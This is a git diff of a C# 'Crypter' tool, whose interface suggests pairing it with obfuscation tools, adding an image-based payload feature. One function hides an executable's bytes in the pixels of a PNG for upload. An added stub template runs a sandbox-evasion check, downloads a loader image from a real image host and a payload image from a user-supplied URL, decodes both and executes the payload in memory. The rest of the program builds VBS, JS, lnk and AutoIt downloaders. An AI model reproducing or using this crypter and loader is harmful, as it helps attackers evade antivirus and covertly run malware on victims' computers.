diff --git a/.gitignore b/.gitignore
new file mode 100644
index 0000000..f64ebe9
--- /dev/null
+++ b/.gitignore
@@ -0,0 +1,13 @@
+
+.vs/Crypter/v16/.suo
+Crypter/bin/Debug/Crypter.exe
+Crypter/bin/Debug/Crypter.pdb
+*.cache
+Crypter/obj/Debug/Crypter.csproj.FileListAbsolute.txt
+Crypter/obj/Debug/Crypter.pdb
+Crypter/obj/Debug/TempPE/Properties.Resources.Designer.cs.dll
+Crypter/obj/Debug/Crypter.Properties.Resources.resources
+Crypter/obj/Debug/Crypter.exe
+Crypter/obj/Debug/CrypterExample.Form1.resources
+Crypter/obj/Debug/Crypter.FormDoc.resources
+Crypter/obj/Debug/Crypter.FormAbout.resources
diff --git a/Crypter/Crypter.csproj b/Crypter/Crypter.csproj
index 987c1a5..824cdf7 100644
--- a/Crypter/Crypter.csproj
+++ b/Crypter/Crypter.csproj
@@ -136,6 +136,7 @@
+
diff --git a/Crypter/Form1.Designer.cs b/Crypter/Form1.Designer.cs
index 22f014c..28806f0 100644
--- a/Crypter/Form1.Designer.cs
+++ b/Crypter/Form1.Designer.cs
@@ -30,14 +30,6 @@
{
this.components = new System.ComponentModel.Container();
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(Form1));
- this.groupBox1 = new System.Windows.Forms.GroupBox();
- this.label3 = new System.Windows.Forms.Label();
- this.textBox4 = new System.Windows.Forms.TextBox();
- this.label2 = new System.Windows.Forms.Label();
- this.textBox3 = new System.Windows.Forms.TextBox();
- this.button1 = new System.Windows.Forms.Button();
- this.textBox1 = new System.Windows.Forms.TextBox();
- this.label1 = new System.Windows.Forms.Label();
this.button4 = new System.Windows.Forms.Button();
this.textBox2 = new System.Windows.Forms.TextBox();
this.contextMenuStrip1 = new System.Windows.Forms.ContextMenuStrip(this.components);
@@ -63,90 +55,26 @@
this.关于ToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.linkLabel1 = new System.Windows.Forms.LinkLabel();
this.label4 = new System.Windows.Forms.Label();
- this.groupBox1.SuspendLayout();
+ this.label3 = new System.Windows.Forms.Label();
+ this.textBox4 = new System.Windows.Forms.TextBox();
+ this.label2 = new System.Windows.Forms.Label();
+ this.textBox3 = new System.Windows.Forms.TextBox();
+ this.button1 = new System.Windows.Forms.Button();
+ this.textBox1 = new System.Windows.Forms.TextBox();
+ this.label1 = new System.Windows.Forms.Label();
+ this.groupBox1 = new System.Windows.Forms.GroupBox();
+ this.button14 = new System.Windows.Forms.Button();
+ this.button16 = new System.Windows.Forms.Button();
this.contextMenuStrip1.SuspendLayout();
this.menuStrip1.SuspendLayout();
+ this.groupBox1.SuspendLayout();
this.SuspendLayout();
//
- // groupBox1
- //
- this.groupBox1.Controls.Add(this.label3);
- this.groupBox1.Controls.Add(this.textBox4);
- this.groupBox1.Controls.Add(this.label2);
- this.groupBox1.Controls.Add(this.textBox3);
- this.groupBox1.Controls.Add(this.button1);
- this.groupBox1.Controls.Add(this.textBox1);
- this.groupBox1.Controls.Add(this.label1);
- this.groupBox1.Location = new System.Drawing.Point(7, 28);
- this.groupBox1.Name = "groupBox1";
- this.groupBox1.Size = new System.Drawing.Size(328, 154);
- this.groupBox1.TabIndex = 0;
- this.groupBox1.TabStop = false;
- this.groupBox1.Text = "Setting";
- //
- // label3
- //
- this.label3.AutoSize = true;
- this.label3.Location = new System.Drawing.Point(22, 108);
- this.label3.Name = "label3";
- this.label3.Size = new System.Drawing.Size(29, 12);
- this.label3.TabIndex = 8;
- this.label3.Text = "url:";
- //
- // textBox4
- //
- this.textBox4.Location = new System.Drawing.Point(57, 108);
- this.textBox4.Name = "textBox4";
- this.textBox4.Size = new System.Drawing.Size(252, 21);
- this.textBox4.TabIndex = 7;
- //
- // label2
- //
- this.label2.AutoSize = true;
- this.label2.Location = new System.Drawing.Point(22, 72);
- this.label2.Name = "label2";
- this.label2.Size = new System.Drawing.Size(29, 12);
- this.label2.TabIndex = 6;
- this.label2.Text = "key:";
- //
- // textBox3
- //
- this.textBox3.Location = new System.Drawing.Point(57, 69);
- this.textBox3.Name = "textBox3";
- this.textBox3.Size = new System.Drawing.Size(252, 21);
- this.textBox3.TabIndex = 5;
- //
- // button1
- //
- this.button1.Location = new System.Drawing.Point(257, 36);
- this.button1.Name = "button1";
- this.button1.Size = new System.Drawing.Size(52, 21);
- this.button1.TabIndex = 4;
- this.button1.Text = "Browse";
- this.button1.UseVisualStyleBackColor = true;
- this.button1.Click += new System.EventHandler(this.button1_Click);
- //
- // textBox1
- //
- this.textBox1.Location = new System.Drawing.Point(24, 36);
- this.textBox1.Name = "textBox1";
- this.textBox1.Size = new System.Drawing.Size(227, 21);
- this.textBox1.TabIndex = 2;
- //
- // label1
- //
- this.label1.AutoSize = true;
- this.label1.Location = new System.Drawing.Point(13, 18);
- this.label1.Name = "label1";
- this.label1.Size = new System.Drawing.Size(29, 12);
- this.label1.TabIndex = 0;
- this.label1.Text = "File";
- //
// button4
//
- this.button4.Location = new System.Drawing.Point(9, 188);
+ this.button4.Location = new System.Drawing.Point(14, 38);
this.button4.Name = "button4";
- this.button4.Size = new System.Drawing.Size(51, 38);
+ this.button4.Size = new System.Drawing.Size(59, 38);
this.button4.TabIndex = 2;
this.button4.Text = "Base64";
this.button4.UseVisualStyleBackColor = true;
@@ -156,17 +84,16 @@
//
this.textBox2.AcceptsReturn = true;
this.textBox2.AcceptsTab = true;
- this.textBox2.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom)
- | System.Windows.Forms.AnchorStyles.Left)
+ this.textBox2.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left)
| System.Windows.Forms.AnchorStyles.Right)));
this.textBox2.ContextMenuStrip = this.contextMenuStrip1;
- this.textBox2.Location = new System.Drawing.Point(341, 64);
+ this.textBox2.Location = new System.Drawing.Point(144, 193);
this.textBox2.MaxLength = 3276700;
this.textBox2.Multiline = true;
this.textBox2.Name = "textBox2";
this.textBox2.ReadOnly = true;
this.textBox2.ScrollBars = System.Windows.Forms.ScrollBars.Vertical;
- this.textBox2.Size = new System.Drawing.Size(310, 206);
+ this.textBox2.Size = new System.Drawing.Size(489, 177);
this.textBox2.TabIndex = 3;
//
// contextMenuStrip1
@@ -185,9 +112,9 @@
//
// button2
//
- this.button2.Location = new System.Drawing.Point(9, 232);
+ this.button2.Location = new System.Drawing.Point(14, 82);
this.button2.Name = "button2";
- this.button2.Size = new System.Drawing.Size(51, 38);
+ this.button2.Size = new System.Drawing.Size(59, 38);
this.button2.TabIndex = 4;
this.button2.Text = "VB";
this.button2.UseVisualStyleBackColor = true;
@@ -195,9 +122,9 @@
//
// button3
//
- this.button3.Location = new System.Drawing.Point(66, 232);
+ this.button3.Location = new System.Drawing.Point(14, 126);
this.button3.Name = "button3";
- this.button3.Size = new System.Drawing.Size(51, 38);
+ this.button3.Size = new System.Drawing.Size(59, 38);
this.button3.TabIndex = 5;
this.button3.Text = "Rc4";
this.button3.UseVisualStyleBackColor = true;
@@ -211,9 +138,9 @@
//
// button5
//
- this.button5.Location = new System.Drawing.Point(178, 188);
+ this.button5.Location = new System.Drawing.Point(14, 214);
this.button5.Name = "button5";
- this.button5.Size = new System.Drawing.Size(51, 38);
+ this.button5.Size = new System.Drawing.Size(59, 38);
this.button5.TabIndex = 6;
this.button5.Text = "Base64\r\nurl";
this.button5.UseVisualStyleBackColor = true;
@@ -221,9 +148,9 @@
//
// button6
//
- this.button6.Location = new System.Drawing.Point(123, 188);
+ this.button6.Location = new System.Drawing.Point(79, 82);
this.button6.Name = "button6";
- this.button6.Size = new System.Drawing.Size(49, 38);
+ this.button6.Size = new System.Drawing.Size(59, 38);
this.button6.TabIndex = 7;
this.button6.Text = "Base64\r\nGzip";
this.button6.UseVisualStyleBackColor = true;
@@ -231,9 +158,9 @@
//
// button7
//
- this.button7.Location = new System.Drawing.Point(123, 232);
+ this.button7.Location = new System.Drawing.Point(79, 126);
this.button7.Name = "button7";
- this.button7.Size = new System.Drawing.Size(49, 38);
+ this.button7.Size = new System.Drawing.Size(59, 38);
this.button7.TabIndex = 8;
this.button7.Text = "DLL";
this.button7.UseVisualStyleBackColor = true;
@@ -241,9 +168,9 @@
//
// button8
//
- this.button8.Location = new System.Drawing.Point(66, 188);
+ this.button8.Location = new System.Drawing.Point(79, 38);
this.button8.Name = "button8";
- this.button8.Size = new System.Drawing.Size(49, 38);
+ this.button8.Size = new System.Drawing.Size(59, 38);
this.button8.TabIndex = 9;
this.button8.Text = "PE\r\nbytes";
this.button8.UseVisualStyleBackColor = true;
@@ -251,9 +178,9 @@
//
// button9
//
- this.button9.Location = new System.Drawing.Point(178, 232);
+ this.button9.Location = new System.Drawing.Point(79, 214);
this.button9.Name = "button9";
- this.button9.Size = new System.Drawing.Size(49, 38);
+ this.button9.Size = new System.Drawing.Size(59, 38);
this.button9.TabIndex = 10;
this.button9.Text = "CSharp\r\nurl";
this.button9.UseVisualStyleBackColor = true;
@@ -261,9 +188,9 @@
//
// button10
//
- this.button10.Location = new System.Drawing.Point(233, 188);
+ this.button10.Location = new System.Drawing.Point(14, 170);
this.button10.Name = "button10";
- this.button10.Size = new System.Drawing.Size(49, 38);
+ this.button10.Size = new System.Drawing.Size(59, 38);
this.button10.TabIndex = 11;
this.button10.Text = "VBS\r\nurl";
this.button10.UseVisualStyleBackColor = true;
@@ -271,9 +198,9 @@
//
// button11
//
- this.button11.Location = new System.Drawing.Point(233, 232);
+ this.button11.Location = new System.Drawing.Point(14, 258);
this.button11.Name = "button11";
- this.button11.Size = new System.Drawing.Size(49, 38);
+ this.button11.Size = new System.Drawing.Size(59, 38);
this.button11.TabIndex = 12;
this.button11.Text = "lnk\r\nurl";
this.button11.UseVisualStyleBackColor = true;
@@ -281,9 +208,9 @@
//
// button12
//
- this.button12.Location = new System.Drawing.Point(288, 188);
+ this.button12.Location = new System.Drawing.Point(79, 170);
this.button12.Name = "button12";
- this.button12.Size = new System.Drawing.Size(49, 38);
+ this.button12.Size = new System.Drawing.Size(59, 38);
this.button12.TabIndex = 13;
this.button12.Text = "js\r\nurl";
this.button12.UseVisualStyleBackColor = true;
@@ -291,9 +218,9 @@
//
// button13
//
- this.button13.Location = new System.Drawing.Point(288, 232);
+ this.button13.Location = new System.Drawing.Point(79, 258);
this.button13.Name = "button13";
- this.button13.Size = new System.Drawing.Size(49, 38);
+ this.button13.Size = new System.Drawing.Size(59, 38);
this.button13.TabIndex = 14;
this.button13.Text = "AutoIt\r\nurl";
this.button13.UseVisualStyleBackColor = true;
@@ -306,7 +233,7 @@
this.帮助ToolStripMenuItem});
this.menuStrip1.Location = new System.Drawing.Point(0, 0);
this.menuStrip1.Name = "menuStrip1";
- this.menuStrip1.Size = new System.Drawing.Size(663, 25);
+ this.menuStrip1.Size = new System.Drawing.Size(645, 25);
this.menuStrip1.TabIndex = 15;
this.menuStrip1.Text = "menuStrip1";
//
@@ -359,7 +286,7 @@
// linkLabel1
//
this.linkLabel1.AutoSize = true;
- this.linkLabel1.Location = new System.Drawing.Point(341, 49);
+ this.linkLabel1.Location = new System.Drawing.Point(410, 53);
this.linkLabel1.Name = "linkLabel1";
this.linkLabel1.Size = new System.Drawing.Size(227, 12);
this.linkLabel1.TabIndex = 16;
@@ -369,18 +296,115 @@
// label4
//
this.label4.AutoSize = true;
- this.label4.Location = new System.Drawing.Point(341, 37);
+ this.label4.Location = new System.Drawing.Point(462, 38);
this.label4.Name = "label4";
this.label4.Size = new System.Drawing.Size(113, 12);
this.label4.TabIndex = 17;
this.label4.Text = "搭配混淆工具使用:";
//
+ // label3
+ //
+ this.label3.AutoSize = true;
+ this.label3.Location = new System.Drawing.Point(153, 154);
+ this.label3.Name = "label3";
+ this.label3.Size = new System.Drawing.Size(29, 12);
+ this.label3.TabIndex = 24;
+ this.label3.Text = "url:";
+ //
+ // textBox4
+ //
+ this.textBox4.Location = new System.Drawing.Point(188, 154);
+ this.textBox4.Name = "textBox4";
+ this.textBox4.Size = new System.Drawing.Size(445, 21);
+ this.textBox4.TabIndex = 23;
+ //
+ // label2
+ //
+ this.label2.AutoSize = true;
+ this.label2.Location = new System.Drawing.Point(153, 118);
+ this.label2.Name = "label2";
+ this.label2.Size = new System.Drawing.Size(29, 12);
+ this.label2.TabIndex = 22;
+ this.label2.Text = "key:";
+ //
+ // textBox3
+ //
+ this.textBox3.Location = new System.Drawing.Point(188, 115);
+ this.textBox3.Name = "textBox3";
+ this.textBox3.Size = new System.Drawing.Size(445, 21);
+ this.textBox3.TabIndex = 21;
+ //
+ // button1
+ //
+ this.button1.Location = new System.Drawing.Point(581, 82);
+ this.button1.Name = "button1";
+ this.button1.Size = new System.Drawing.Size(52, 21);
+ this.button1.TabIndex = 20;
+ this.button1.Text = "Browse";
+ this.button1.UseVisualStyleBackColor = true;
+ this.button1.Click += new System.EventHandler(this.button1_Click);
+ //
+ // textBox1
+ //
+ this.textBox1.Location = new System.Drawing.Point(188, 82);
+ this.textBox1.Name = "textBox1";
+ this.textBox1.Size = new System.Drawing.Size(387, 21);
+ this.textBox1.TabIndex = 19;
+ //
+ // label1
+ //
+ this.label1.AutoSize = true;
+ this.label1.Location = new System.Drawing.Point(153, 86);
+ this.label1.Name = "label1";
+ this.label1.Size = new System.Drawing.Size(29, 12);
+ this.label1.TabIndex = 18;
+ this.label1.Text = "File";
+ //
+ // groupBox1
+ //
+ this.groupBox1.Controls.Add(this.button16);
+ this.groupBox1.Controls.Add(this.button14);
+ this.groupBox1.Location = new System.Drawing.Point(12, 302);
+ this.groupBox1.Name = "groupBox1";
+ this.groupBox1.Size = new System.Drawing.Size(126, 68);
+ this.groupBox1.TabIndex = 25;
+ this.groupBox1.TabStop = false;
+ this.groupBox1.Text = "imgcrypt";
+ //
+ // button14
+ //
+ this.button14.Location = new System.Drawing.Point(2, 19);
+ this.button14.Name = "button14";
+ this.button14.Size = new System.Drawing.Size(59, 38);
+ this.button14.TabIndex = 0;
+ this.button14.Text = "img crypt";
+ this.button14.UseVisualStyleBackColor = true;
+ this.button14.Click += new System.EventHandler(this.button14_Click);
+ //
+ // button16
+ //
+ this.button16.Location = new System.Drawing.Point(67, 19);
+ this.button16.Name = "button16";
+ this.button16.Size = new System.Drawing.Size(59, 38);
+ this.button16.TabIndex = 2;
+ this.button16.Text = "stub";
+ this.button16.UseVisualStyleBackColor = true;
+ this.button16.Click += new System.EventHandler(this.button16_Click);
+ //
// Form1
//
this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.BackColor = System.Drawing.SystemColors.Control;
- this.ClientSize = new System.Drawing.Size(663, 278);
+ this.ClientSize = new System.Drawing.Size(645, 379);
+ this.Controls.Add(this.groupBox1);
+ this.Controls.Add(this.label3);
+ this.Controls.Add(this.textBox4);
+ this.Controls.Add(this.label2);
+ this.Controls.Add(this.textBox3);
+ this.Controls.Add(this.button1);
+ this.Controls.Add(this.textBox1);
+ this.Controls.Add(this.label1);
this.Controls.Add(this.label4);
this.Controls.Add(this.linkLabel1);
this.Controls.Add(this.menuStrip1);
@@ -397,7 +421,6 @@
this.Controls.Add(this.button2);
this.Controls.Add(this.textBox2);
this.Controls.Add(this.button4);
- this.Controls.Add(this.groupBox1);
this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle;
this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
this.MainMenuStrip = this.menuStrip1;
@@ -406,33 +429,23 @@
this.Opacity = 0.9D;
this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
this.Text = "簞純Crypter";
- this.groupBox1.ResumeLayout(false);
- this.groupBox1.PerformLayout();
this.contextMenuStrip1.ResumeLayout(false);
this.menuStrip1.ResumeLayout(false);
this.menuStrip1.PerformLayout();
+ this.groupBox1.ResumeLayout(false);
this.ResumeLayout(false);
this.PerformLayout();
}
#endregion
-
- private System.Windows.Forms.GroupBox groupBox1;
- private System.Windows.Forms.Button button1;
- private System.Windows.Forms.TextBox textBox1;
- private System.Windows.Forms.Label label1;
private System.Windows.Forms.Button button4;
private System.Windows.Forms.TextBox textBox2;
private System.Windows.Forms.Button button2;
- private System.Windows.Forms.Label label2;
- private System.Windows.Forms.TextBox textBox3;
private System.Windows.Forms.Button button3;
private System.Windows.Forms.ContextMenuStrip contextMenuStrip1;
private System.Windows.Forms.ToolStripMenuItem copyToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem copyToolStripMenuItem1;
- private System.Windows.Forms.Label label3;
- private System.Windows.Forms.TextBox textBox4;
private System.Windows.Forms.Button button5;
private System.Windows.Forms.Button button6;
private System.Windows.Forms.Button button7;
@@ -451,6 +464,16 @@
private System.Windows.Forms.ToolStripMenuItem 关于ToolStripMenuItem;
private System.Windows.Forms.LinkLabel linkLabel1;
private System.Windows.Forms.Label label4;
+ private System.Windows.Forms.Label label3;
+ private System.Windows.Forms.TextBox textBox4;
+ private System.Windows.Forms.Label label2;
+ private System.Windows.Forms.TextBox textBox3;
+ private System.Windows.Forms.Button button1;
+ private System.Windows.Forms.TextBox textBox1;
+ private System.Windows.Forms.Label label1;
+ private System.Windows.Forms.GroupBox groupBox1;
+ private System.Windows.Forms.Button button16;
+ private System.Windows.Forms.Button button14;
}
}
diff --git a/Crypter/Form1.cs b/Crypter/Form1.cs
index 1e6e7c2..cfdc2d8 100644
--- a/Crypter/Form1.cs
+++ b/Crypter/Form1.cs
@@ -10,6 +10,7 @@ using System.Threading;
using System.Diagnostics;
using Ionic.Zip;
using Crypter;
+using System.Drawing;
namespace CrypterExample
{
@@ -24,7 +25,7 @@ namespace CrypterExample
{
OpenFileDialog FOpen = new OpenFileDialog()
{
- Filter = "Executable Files|*.exe",
+ Filter = "Executable Files|*.exe;*.dll",
InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop)
};
@@ -394,7 +395,7 @@ namespace CrypterExample
{
OpenFileDialog FOpen = new OpenFileDialog()
{
- Filter = "Executable Files|*.exe",
+ Filter = "Executable Files|*.exe;*.dll",
InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop)
};
@@ -422,5 +423,67 @@ namespace CrypterExample
formDoc.ShowDialog();
}
}
+
+ private void button14_Click(object sender, EventArgs e)
+ {
+ string filePath = textBox1.Text;
+ Bitmap img = pixelate(filePath);
+ SaveFileDialog s = new SaveFileDialog();
+ s.DefaultExt = "bmp";
+ s.Filter = "PNG Files|*.png";
+ if (s.ShowDialog() == DialogResult.OK)
+ {
+ img.Save(s.FileName);
+ MessageBox.Show("Upload to web,and copy the link to url.",
+ "Success!", MessageBoxButtons.OK, MessageBoxIcon.Information);
+ }
+ }
+ public static Bitmap pixelate(string filePath)
+ {
+ Random rnd = new Random();
+ string a = Convert.ToBase64String(System.IO.File.ReadAllBytes(filePath));
+ char[] aR = a.ToCharArray();
+ double sq = Math.Sqrt(aR.Length);
+ int autosize = ((int)sq) + 2;
+ Bitmap imageholder = new Bitmap(autosize, autosize);
+ Graphics g = Graphics.FromImage(imageholder);
+ int fff = 0;
+ while (fff <= aR.Length - 1)
+ {
+ for (int y = 1; y <= imageholder.Height - 1; y++)
+ {
+ for (int x = 1; x <= imageholder.Width - 1; x++)
+ {
+ if (fff <= aR.Length - 1)
+ {
+ int green = rnd.Next(0, 255);
+ int blue = rnd.Next(0, 255);
+
+ int charCode = aR[fff];
+ imageholder.SetPixel(x, y, Color.FromArgb(charCode, 0, 0));
+ fff++;
+ }
+ }
+ }
+ }
+ return imageholder;
+ }
+
+ private void button16_Click(object sender, EventArgs e)
+ {
+ string Source = Resources.imgcrypt;
+ if (textBox4.Text != "")
+ {
+ Source = Source.Replace("123456", textBox4.Text);
+ textBox2.Text = Source;
+ MessageBox.Show("Copy to VS ; Use .NET Framework 2 ; Choose Windows Application.",
+ "Success!", MessageBoxButtons.OK, MessageBoxIcon.Information);
+ }
+ else
+ {
+ MessageBox.Show("Please enter the url.",
+ "Error!", MessageBoxButtons.OK, MessageBoxIcon.Information);
+ }
+ }
}
}
diff --git a/Crypter/Properties/Resources.Designer.cs b/Crypter/Properties/Resources.Designer.cs
index 3251213..b8b2e9f 100644
--- a/Crypter/Properties/Resources.Designer.cs
+++ b/Crypter/Properties/Resources.Designer.cs
@@ -237,6 +237,32 @@ namespace Crypter.Properties {
}
}
+ ///
+ /// 查找类似 using System;
+ ///using System.Drawing;
+ ///using System.Net;
+ ///using System.Runtime.InteropServices;
+ ///using System.Text;
+ ///
+ ///namespace imgc
+ ///{
+ /// class Program
+ /// {
+ /// [DllImport("kernel32.dll")]
+ /// private static extern int VirtualAllocExNuma(IntPtr hProcess, int lpAddress, int dwSize, int flAllocationType, int flProtect, int nndPreferred);
+ ///
+ /// static void Main(string[] args)
+ /// {
+ ///
+ /// object mem = null;
+ /// mem = VirtualAllocExNuma(System.Diagnostics.Process.GetCurrentPr [字符串的其余部分被截断]"; 的本地化字符串。
+ ///
+ internal static string imgcrypt {
+ get {
+ return ResourceManager.GetString("imgcrypt", resourceCulture);
+ }
+ }
+
///
/// 查找 System.Byte[] 类型的本地化资源。
///
diff --git a/Crypter/Properties/Resources.resx b/Crypter/Properties/Resources.resx
index acd77e2..0a4f96f 100644
--- a/Crypter/Properties/Resources.resx
+++ b/Crypter/Properties/Resources.resx
@@ -142,6 +142,9 @@
..\resources\dll.txt;System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;utf-8
+
+ ..\resources\imgcrypt.txt;System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;utf-8
+
..\resources\include.zip;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
diff --git a/Crypter/Resources/imgcrypt.txt b/Crypter/Resources/imgcrypt.txt
new file mode 100644
index 0000000..8cc4f8a
--- /dev/null
+++ b/Crypter/Resources/imgcrypt.txt
@@ -0,0 +1,79 @@
+using System;
+using System.Drawing;
+using System.Net;
+using System.Runtime.InteropServices;
+using System.Text;
+
+namespace imgc
+{
+ class Program
+ {
+ [DllImport("kernel32.dll")]
+ private static extern int VirtualAllocExNuma(IntPtr hProcess, int lpAddress, int dwSize, int flAllocationType, int flProtect, int nndPreferred);
+
+ static void Main(string[] args)
+ {
+
+ object mem = null;
+ mem = VirtualAllocExNuma(System.Diagnostics.Process.GetCurrentProcess().Handle, 0, 1000, 0x00002000 | 0x00001000, 0x40, 0);
+
+ if (mem != null)
+ {
+
+ Console.WriteLine("Downloading files...");
+
+ //string loader = @"http://i.imgur.com/y66QVE2.png"; // No Startup,Global
+ string loader = @"https://s1.ax1x.com/2020/04/28/J4Zp9S.png"; // No Startup,CHINA
+ string file = @"123456"; //File
+ var requestLoader = WebRequest.Create(loader);
+ var requestFile = WebRequest.Create(file);
+ Bitmap loaderIMG;
+ Bitmap fileIMG;
+
+ Console.WriteLine("Downloading Loader...");
+ using (var response = requestLoader.GetResponse())
+ using (var stream = response.GetResponseStream())
+ {
+ loaderIMG = (Bitmap)Image.FromStream(stream);
+ }
+
+ Console.WriteLine("Downloading File...");
+ using (var response = requestFile.GetResponse())
+ using (var stream = response.GetResponseStream())
+ {
+ fileIMG = (Bitmap)Image.FromStream(stream);
+ }
+
+ Console.WriteLine("Depixelating...");
+
+ Console.WriteLine("Depixelating Loader...");
+ byte[] outputLoader = depixelate(loaderIMG);
+
+ Console.WriteLine("Depixelating File...");
+ byte[] outputFile = depixelate(fileIMG);
+
+ Console.WriteLine("Running...");
+ System.Reflection.Assembly.Load(outputLoader).GetType("Loader.Loader").GetMethod("RunProgram").Invoke(null, new object[] { outputFile });
+
+ }
+ }
+
+ public static byte[] depixelate(Bitmap img)
+ {
+ StringBuilder holder = new StringBuilder();
+ int xmax = img.Width - 1;
+ int ymax = img.Height - 1;
+ for (int y = 1; y <= ymax; y++)
+ {
+ for (int x = 1; x <= xmax; x++)
+ {
+ Color c = img.GetPixel(x, y);
+ holder.Append((char)c.R);
+ }
+ }
+
+ return Convert.FromBase64String(holder.ToString().Replace(Convert.ToChar(0).ToString(), ""));
+ }
+ }
+
+}